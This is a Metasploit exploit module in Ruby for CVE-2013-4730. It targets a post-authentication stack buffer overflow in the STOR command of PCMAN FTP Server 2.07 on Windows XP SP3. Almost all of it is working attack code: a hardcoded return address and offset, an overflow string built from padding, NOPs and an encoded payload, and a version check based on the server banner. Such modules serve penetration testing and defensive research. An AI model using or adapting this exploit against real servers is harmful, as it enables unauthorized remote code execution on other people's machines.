PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability found in the STOR command of the
          PCMAN FTP v2.07 Server when the "/../" parameters are also sent to the server. Please
          note authentication is required in order to trigger the vulnerability. The overflowing
          string will also be seen on the FTP server log console.
      },
      'Author'         =>
          [
            'Christian (Polunchis) Ramirez', # Initial Discovery
            'Rick (nanotechz9l) Flores'      # Metasploit Module
          ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2013-4730' ],
          [ 'OSVDB', '94624'],
          [ 'EDB',   '27703']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'VERBOSE'  => true
        },
      'Payload'        =>
        {
          'Space'   => 1000,
          'BadChars'  => "\x00\xff\x0a\x0d\x20\x40",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP3 English',
            {
              'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
              'Offset' => 2011
            }
          ],
        ],
      'DisclosureDate' => '2013-06-27',
      'DefaultTarget'  => 0))
  end

  def post_auth?
    true
  end

  def check
    c = connect_login
    disconnect

    if c and banner =~ /220 PCMan's FTP Server 2\.0/
      # Auth is required to exploit
      vprint_status("Able to authenticate, and banner shows the vulnerable version")
      return Exploit::CheckCode::Appears
    elsif not c and banner =~ /220 PCMan's FTP Server 2\.0/
      vprint_status("Unable to authenticate, but banner shows the vulnerable version")
      # Auth failed, but based on version maybe the target is vulnerable
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end


  def exploit
    c = connect_login

    # Auth failed. The mixin should show the error, so we just bail.
    return unless c

    # Username is part of the overflowing string, so we need to account for that length
    user_length = datastore['FTPUSER'].to_s.length

    print_status("Trying victim #{target.name}...")
    sploit = rand_text_alpha(target['Offset'] - user_length)
    sploit << [target.ret].pack('V')
    sploit << make_nops(4)
    sploit << payload.encoded
    sploit << rand_text_alpha(sploit.length)

    send_cmd( ["STOR", "/../" + sploit], false )
    disconnect
  end
end